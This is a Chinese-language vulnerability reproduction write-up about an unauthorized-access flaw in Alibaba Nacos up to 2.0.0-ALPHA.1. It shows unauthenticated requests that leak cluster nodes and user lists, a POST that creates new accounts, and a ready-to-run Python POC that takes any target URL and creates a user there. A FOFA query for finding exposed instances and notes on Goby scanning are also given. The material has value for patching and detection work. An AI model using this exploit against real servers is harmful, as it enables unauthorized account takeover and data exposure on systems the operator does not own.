Alibaba Nacos 未授权访问漏洞

Alibaba Nacos 未授权访问漏洞

漏洞描述

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

漏洞影响

Nacos <= 2.0.0-ALPHA.1

FOFA

title=“Nacos”

环境搭建

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1

wget https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
./startup.sh -m standalone

然后访问 http://xxx.xxx.xxx.xxx:8848/nacos 即可,默认账号密码 nacos/nacos
Alibaba Nacos 未授权访问漏洞_第1张图片

漏洞复现

可以再项目的 issues 中看到大量的关于越权的安全问题的讨论

https://github.com/alibaba/nacos/issues/1105

Alibaba Nacos 未授权访问漏洞_第2张图片

Alibaba Nacos 未授权访问漏洞_第3张图片

这里我们在登录后任意一个位置看一下请求,并在未授权的情况下看是否可以访问
Alibaba Nacos 未授权访问漏洞_第4张图片

这里的请求url简化为

http://xxx.xxx.xxx.xxx:8848/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

退出用户后在前台访问这个 url
Alibaba Nacos 未授权访问漏洞_第5张图片

可以发现以及泄露了 ip节点 等数据

同样我们查看用户列表的请求并在前台访问

http://xxx.xxx.xxx.xxx:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
Alibaba Nacos 未授权访问漏洞_第6张图片
Alibaba Nacos 未授权访问漏洞_第7张图片

这里可以发现对用户的请求是完全没有过滤的,可以通过未授权的情况获取用户的敏感信息

我们尝试创建用户并抓包
Alibaba Nacos 未授权访问漏洞_第8张图片

返回下列创建成功

{"code":200,"message":"create user ok!","data":null}

同样的我们简化请求

POST /nacos/v1/auth/users?
username=peiqi&password=peiqi

Alibaba Nacos 未授权访问漏洞_第9张图片

Alibaba Nacos 未授权访问漏洞_第10张图片

看到有文章说要加上User-Agent请求头

User-Agent: Nacos-Server

但是大量测试之后发现好像是无关紧要的,没有请求头同样可以创建用户

同样的原理也可以用于修改密码添加配置等

漏洞利用POC

注意下大部分企业的 nacos的url为 /v1/auth/users ,而不是 /nacos/v1/auth/users

可以按目标情况自行修改

import requests
import sys
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: Nacos <= 2.0.0-ALPHA.1                                   \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    # vuln_url = target_url + "/nacos/v1/auth/users"
    vuln_url = target_url + "/v1/auth/users"
    headers = {
     
        "User-Agent": "Nacos-Server",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    number = random.randint(0,999)
    data = "username=peiqi{}&password=peiqi".format(str(number))
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        print("\033[32m[o] 正在请求 {}/nacos/v1/auth/users \033[0m".format(target_url))
        if "create user ok!" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 \033[0m".format(target_url))
            print("\033[32m[o] 成功创建账户 peiqi{} peiqi\033[0m".format(str(number)))
        else:
            print("\033[31m[x] 创建用户请求失败 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

Alibaba Nacos 未授权访问漏洞_第11张图片

Goby & POC

Alibaba Nacos 未授权访问漏洞

扫描判断的只是是否可能存在,可以点击验证添加账户,根据响应判断是否成功

注意 Dir 目录选择

Alibaba Nacos 未授权访问漏洞_第12张图片
Alibaba Nacos 未授权访问漏洞_第13张图片

你可能感兴趣的:(漏洞复现,安全)